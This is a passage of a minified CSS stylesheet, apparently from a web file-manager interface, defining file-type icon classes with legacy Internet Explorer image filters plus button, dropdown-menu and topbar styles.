\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-3g2,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/movie/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');}.x-rmvb{background-image:url("../../../images/file_icon/icon_file/movie/rmvb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');}.x-mkv{background-image:url("../../../images/file_icon/icon_file/movie/mkv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');}.x-mp4,.x-m4v{background-image:url("../../../images/file_icon/icon_file/movie/mp4.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');}.x-mov{background-image:url("../../../images/file_icon/icon_file/movie/mov.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');}.x-avi{background-image:url("../../../images/file_icon/icon_file/movie/avi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');}.x-3dm,.x-3ds,.x-asm,.x-cam360,.x-catpart,.x-catproduct,.x-cgr,.x-collaboration,.x-dae,.x-dgn,.x-dlv3,.x-dwf,.x-dwfx,.x-dwg,.x-dwt,.x-dxf,.x-exp,.x-f3d,.x-fbx,.x-g,.x-gbxml,.x-iam,.x-idw,.x-ifc,.x-ige,.x-iges,.x-igs,.x-ipt,.x-jt,.x-model,.x-neu,.x-nwc,.x-nwd,.x-obj,.x-prt,.x-rvt,.x-sab,.x-sat,.x-session,.x-skp,.x-sldasm,.x-sldprt,.x-smb,.x-smt,.x-ste,.x-step,.x-stl,.x-stla,.x-stlb,.x-stp,.x-wire,.x-x_b,.x-x_t,.x-xas,.x-xpr{background-image:url("../../../images/file_icon/icon_file/autodesk/autodesk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');}.x-3ds{background-image:url("../../../images/file_icon/icon_file/autodesk/3ds.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');}.x-3dm{background-image:url("../../../images/file_icon/icon_file/autodesk/3dm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');}.x-dae{background-image:url("../../../images/file_icon/icon_file/autodesk/dae.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');}.x-stl,.x-stla,.x-stlb{background-image:url("../../../images/file_icon/icon_file/autodesk/stl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/autodesk/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');}.x-dwf{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dwfx{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/autodesk/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');}.x-ifc{background-image:url("../../../images/file_icon/icon_file/autodesk/ifc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');}.x-iam{background-image:url("../../../images/file_icon/icon_file/autodesk/iam.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');}.x-fbx{background-image:url("../../../images/file_icon/icon_file/autodesk/fbx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');}.x-rvt{background-image:url("../../../images/file_icon/icon_file/autodesk/rvt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');}.x-skp{background-image:url("../../../images/file_icon/icon_file/autodesk/skp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');}.x-vnd,.x-dgn{background-image:url("../../../images/file_icon/icon_file/autodesk/vnd-dgn.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder-share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle-full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path-self-share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app-link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-user-self{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-group-self{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-group-self-owner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-group-guest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-group-self-root{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-group-root{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-group-public{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-tree-self{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-tree-fav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-logout{background-image:url("../../../images/file_icon/icon_others/logout.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');}.x-app-store{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}.frame-fullscreen{position:fixed;z-index:99999999;left:0;top:0;}.font-icon{font-family:FontAwesome;font-style:normal;color:inherit;}.dragMaskView{position:absolute;top:0;left:0;right:0;bottom:0;z-index:888;background:#fff;opacity:0.01;filter:alpha(opacity=1);-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.content-box .ace_cjk{width:1em !important;}.content-box .ace_static_highlight{font-size:1.15em;}.aui-buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialog-change-max,.dialog-change-max .aui-main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui-title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;box-sizing:content-box;}.btn:focus{outline:none;}.btn.btn-default .font-icon{color:#999;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}.btn.btn-active{background:#63acff !important;border-color:#4fa1ff !important;border-bottom-color:#449cff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#8cc2ff', endColorstr='#63acff');background-image:-webkit-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-moz-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-o-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:-ms-linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);background-image:linear-gradient(to bottom,#8cc2ff 0,#63acff 100%);-pie-background:linear-gradient(to to bottom,#8cc2ff 0,#63acff 100%);}.btn.btn-active:hover,.btn.btn-active:active{background:#3a96ff !important;border-color:#268bff !important;border-bottom-color:#1c86ff !important;z-index:100;text-shadow:none;color:#fff !important;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#63acff', endColorstr='#3a96ff');background-image:-webkit-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-moz-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-o-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:-ms-linear-gradient(to bottom,#63acff 0,#3a96ff 100%);background-image:linear-gradient(to bottom,#63acff 0,#3a96ff 100%);-pie-background:linear-gradient(to to bottom,#63acff 0,#3a96ff 100%);}.btn-group.disabled{opacity:0.6;filter:alpha(opacity=60);}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;margin-top:0;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.pull-left:after{right:auto;left:10px;}.dropdown-menu.pull-left:before{right:auto;left:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.dropdown-menu .divider{margin:0.3em 0;}body .context-menu-list .context-menu-item.hover{background:#63acff;}body .aui-outer{*border:1px solid #7dbaff;border:1px solid #7dbaff \0/IE9;border:1px solid #7dbaff;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;top:0;background:#4267b2;position:absolute;z-index:auto;}.topbar .content{padding:0px;line-height:40px;height:39px;word-break:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar-menu{display:block;text-decoration:none;color:#fff;border:1px 